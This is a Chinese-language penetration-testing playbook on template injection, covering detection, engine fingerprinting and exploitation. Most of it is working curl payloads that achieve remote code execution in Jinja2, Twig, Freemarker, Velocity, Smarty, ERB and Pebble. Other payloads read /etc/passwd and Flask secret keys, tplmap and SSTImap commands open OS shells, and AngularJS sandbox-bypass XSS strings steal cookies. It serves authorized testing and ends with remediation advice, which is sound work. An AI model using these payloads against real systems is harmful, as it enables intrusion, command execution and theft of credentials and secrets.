exploiting-template-injection-vulnerabilities

# 利用模板注入漏洞（Exploiting Template Injection Vulnerabilities）

## 适用场景

- 在授权渗透测试中，当用户输入通过服务器端模板引擎渲染时
- 测试包含用户提供数据的错误页面、电子邮件模板、PDF 生成器或报告生成器时
- 评估允许用户自定义模板或通知消息的应用程序时
- 在参数中识别潜在 SSTI 时（例如 `{{7*7}}` 返回 `49`）
- 对 CMS 平台、营销工具或任何具有模板功能的应用程序进行安全评估时

## 前置条件

- **授权**：包含 RCE 测试范围的书面渗透测试协议
- **Burp Suite Professional**：用于拦截和修改模板参数
- **tplmap**：自动化 SSTI 利用工具（`git clone https://github.com/epinna/tplmap.git`）
- **SSTImap**：现代 SSTI 扫描器（`pip install sstimap`）
- **curl**：用于手动 SSTI 载荷测试
- **模板引擎知识**：Jinja2、Twig、Freemarker、Velocity、Mako、Pebble、ERB、Smarty

## 工作流程

### 步骤 1：识别模板注入点

查找用户输入被模板引擎处理的参数。

```bash
# 注入数学表达式以检测模板处理
# 如果服务器对表达式求值，则可能存在 SSTI

# 通用检测载荷
PAYLOADS=(
  '{{7*7}}'           # Jinja2, Twig
  '${7*7}'            # Freemarker, Velocity, Spring EL
  '#{7*7}'            # Thymeleaf, Ruby ERB
  '<%= 7*7 %>'        # ERB (Ruby), EJS (Node.js)
  '{7*7}'             # Smarty
  '{{= 7*7}}'         # doT.js
  '${{7*7}}'          # AngularJS/Spring
  '#set($x=7*7)$x'   # Velocity
)

for payload in "${PAYLOADS[@]}"; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload -> "
  curl -s "https://target.example.com/page?name=$encoded" | grep -o "49"
done

# 检查常见注入位置：
# - 包含反射输入的错误页面
# - 个人资料字段（姓名、简介、签名）
# - 电子邮件主题/正文模板
# - 包含自定义字段的 PDF/报告生成
# - 搜索结果页面
# - 反映 URL 路径的 404 页面
# - 通知模板
```

### 步骤 2：识别模板引擎

确定使用的模板引擎类型，以选择合适的利用技术。

```bash
# 引擎识别决策树：
# {{7*'7'}} => 7777777 = Jinja2 (Python)
# {{7*'7'}} => 49 = Twig (PHP)
# ${7*7} => 49 = Freemarker/Velocity (Java)
# #{7*7} => 49 = Thymeleaf (Java)
# <%= 7*7 %> => 49 = ERB (Ruby) 或 EJS (Node.js)

# 区分 Jinja2 与 Twig
curl -s "https://target.example.com/page?name={{7*'7'}}"
# 7777777 = Jinja2
# 49 = Twig

# 专门测试 Jinja2
curl -s "https://target.example.com/page?name={{config}}"
# 返回 Flask 配置 = Jinja2/Flask

# 测试 Freemarker
curl -s "https://target.example.com/page?name=\${.now}"
# 返回日期/时间 = Freemarker

# 测试 Velocity
curl -s "https://target.example.com/page?name=%23set(%24a=1)%24a"
# 返回 1 = Velocity

# 测试 Smarty
curl -s "https://target.example.com/page?name={php}echo%20'test';{/php}"
# 返回 test = Smarty

# 测试 Pebble
curl -s "https://target.example.com/page?name={{%27test%27.class}}"
# 返回类信息 = Pebble

# 使用 tplmap 自动检测引擎
python3 tplmap.py -u "https://target.example.com/page?name=test"
```

### 步骤 3：利用 Jinja2（Python/Flask）

通过 Jinja2 模板注入实现代码执行。

```bash
# 读取配置
curl -s "https://target.example.com/page?name={{config.items()}}"

# 访问密钥
curl -s "https://target.example.com/page?name={{config.SECRET_KEY}}"

# Jinja2 RCE - 方法1：通过 MRO 访问 os 模块
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[407]("id",shell=True,stdout=-1).communicate()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法2：使用 cycler
PAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# Jinja2 RCE - 方法3：使用 lipsum
PAYLOAD='{{lipsum.__globals__["os"].popen("whoami").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 通过 Jinja2 读取文件
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()[40]("/etc/passwd").read()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"

# 枚举可用子类以寻找有用的类
PAYLOAD='{{"".__class__.__mro__[1].__subclasses__()}}'
curl -s "https://target.example.com/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
```

### 步骤 4：利用 Twig（PHP）、Freemarker（Java）等引擎

针对不同引擎使用特定载荷进行利用。

```bash
# --- Twig (PHP) ---
# Twig RCE
curl -s "https://target.example.com/page?name={{['id']|filter('system')}}"
curl -s "https://target.example.com/page?name={{_self.env.registerUndefinedFilterCallback('exec')}}{{_self.env.getFilter('id')}}"

# Twig 文件读取
curl -s "https://target.example.com/page?name={{'/etc/passwd'|file_excerpt(1,30)}}"

# --- Freemarker (Java) ---
# Freemarker RCE
curl -s "https://target.example.com/page?name=<#assign ex=\"freemarker.template.utility.Execute\"?new()>\${ex(\"id\")}"

# 替代 Freemarker RCE
curl -s "https://target.example.com/page?name=\${\"freemarker.template.utility.Execute\"?new()(\"whoami\")}"

# --- Velocity (Java) ---
# Velocity RCE
curl -s "https://target.example.com/page?name=%23set(%24e=%22e%22)%24e.getClass().forName(%22java.lang.Runtime%22).getMethod(%22getRuntime%22,null).invoke(null,null).exec(%22id%22)"

# --- Smarty (PHP) ---
# Smarty RCE
curl -s "https://target.example.com/page?name={system('id')}"

# --- ERB (Ruby) ---
# ERB RCE
curl -s "https://target.example.com/page?name=<%25=%20system('id')%20%25>"

# --- Pebble (Java) ---
# Pebble RCE
curl -s "https://target.example.com/page?name={%25%20set%20cmd%20=%20'id'%20%25}{{['java.lang.Runtime']|first.getRuntime().exec(cmd)}}"
```

### 步骤 5：使用 tplmap 和 SSTImap 自动化测试

使用自动化工具进行全面测试和利用。

```bash
# tplmap - 自动化 SSTI 利用
python3 tplmap.py -u "https://target.example.com/page?name=test" --os-shell

# tplmap 测试 POST 参数
python3 tplmap.py -u "https://target.example.com/page" -d "name=test" --os-cmd "id"

# tplmap 使用自定义请求头
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  -H "Cookie: session=abc123" \
  -H "Authorization: Bearer token" \
  --os-cmd "whoami"

# SSTImap
sstimap -u "https://target.example.com/page?name=test"
sstimap -u "https://target.example.com/page?name=test" --os-shell

# tplmap 文件读取
python3 tplmap.py -u "https://target.example.com/page?name=test" \
  --download "/etc/passwd" "/tmp/passwd"

# Burp Intruder 方法：
# 1. 将请求发送到 Intruder
# 2. 标记可注入参数
# 3. 加载 SSTI 载荷列表
# 4. 通过匹配指标进行 Grep："49"、错误消息、类名
```

### 步骤 6：测试客户端模板注入（CSTI）

评估 Angular/Vue/React 客户端模板中的表达式注入。

```bash
# AngularJS 表达式注入
curl -s "https://target.example.com/page?name={{constructor.constructor('alert(1)')()}}"

# AngularJS 沙箱绕过（1.6 之前版本）
curl -s "https://target.example.com/page?name={{a]constructor.prototype.charAt=[].join;[\$eval('a]alert(1)//')]()}}"

# Vue.js 表达式注入
curl -s "https://target.example.com/page?name={{_c.constructor('alert(1)')()}}"

# 检查页面是否存在 AngularJS ng-app
curl -s "https://target.example.com/" | grep -i "ng-app\|angular\|vue\|v-"

# 使用不同的 CSTI 载荷测试
for payload in '{{7*7}}' '{{constructor.constructor("return this")()}}' \
  '{{$on.constructor("alert(1)")()}}'; do
  encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
  echo -n "$payload: "
  curl -s "https://target.example.com/search?q=$encoded" | grep -oP "49|alert|constructor"
done
```

## 核心概念

| 概念 | 定义 |
|---------|-------------|
| **SSTI** | 服务器端模板注入（Server-Side Template Injection）——注入在服务器端执行的模板指令 |
| **CSTI** | 客户端模板注入（Client-Side Template Injection）——向 AngularJS/Vue 模板注入表达式（导致 XSS） |
| **模板引擎（Template Engine）** | 处理包含占位符的模板文件并将其替换为数据的软件 |
| **沙箱逃逸（Sandbox Escape）** | 绕过模板引擎安全限制以访问危险函数 |
| **MRO（方法解析顺序）** | Python 类层次结构遍历，在 Jinja2 利用中使用 |
| **对象自省（Object Introspection）** | 使用 `__class__`、`__subclasses__()`、`__globals__` 遍历 Python 对象 |
| **盲 SSTI（Blind SSTI）** | 输出不直接可见的模板注入，需要带外技术 |

## 工具与系统

| 工具 | 用途 |
|------|---------|
| **tplmap** | 支持操作系统 Shell 功能的自动化 SSTI 检测与利用工具 |
| **SSTImap** | 支持多种模板引擎的现代 SSTI 扫描器 |
| **Burp Suite Professional** | 请求拦截和使用 Intruder 进行载荷模糊测试 |
| **Hackvertor（Burp 扩展）** | 用于绕过技术的载荷编码和转换 |
| **PayloadsAllTheThings** | GitHub 上的综合 SSTI 载荷参考 |
| **OWASP ZAP** | 主动扫描模式下的自动化 SSTI 检测 |

## 常见场景

### 场景 1：Flask 电子邮件模板注入
Flask 应用程序允许用户自定义电子邮件通知模板。自定义模板通过 Jinja2 渲染且没有沙箱保护，允许通过 `{{config.items()}}` 和子类遍历实现 RCE。

### 场景 2：Java CMS Freemarker 注入
基于 Java 的 CMS 允许管理员使用 Freemarker 编辑页面模板。低权限编辑者注入 `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}` 来执行命令。

### 场景 3：错误页面 SSTI
自定义 404 错误页面通过 Twig 模板反映请求的 URL 路径。请求 `/{{['id']|filter('system')}}` 导致服务器执行 `id` 命令。

### 场景 4：AngularJS 客户端注入
搜索页面使用带有 `ng-bind-html` 的 AngularJS 渲染结果。搜索 `{{constructor.constructor('alert(document.cookie)')()}}` 通过 AngularJS 表达式求值实现 XSS。

## 输出格式

```
## 模板注入发现报告

**漏洞**：服务器端模板注入（Jinja2）— RCE
**严重性**：严重（CVSS 9.8）
**位置**：GET /page?name=（name 参数）
**模板引擎**：Jinja2（Python 3.9 / Flask 2.3）
**OWASP 类别**：A03:2021 - 注入

### 复现步骤
1. 发送 GET /page?name={{7*7}} — 响应包含"49"，确认 SSTI
2. 发送 GET /page?name={{config.SECRET_KEY}} — 返回 Flask 密钥
3. 发送 GET /page?name={{cycler.__init__.__globals__.os.popen('id').read()}}
4. 服务器返回：uid=33(www-data) gid=33(www-data)

### 已确认影响
- 以 www-data 用户身份实现远程代码执行
- 密钥泄露：Flask SECRET_KEY 已暴露
- 文件系统读取：/etc/passwd、应用程序源代码
- 潜在的内网横向移动

### 修复建议
1. 切勿将用户输入直接传递给模板渲染函数
2. 使用沙箱模板环境（Jinja2 SandboxedEnvironment）
3. 对模板变量实施严格的输入验证和白名单
4. 在可能的情况下使用无逻辑模板引擎（Mustache、Handlebars）
5. 为 Web 应用程序用户应用最小权限操作系统权限
```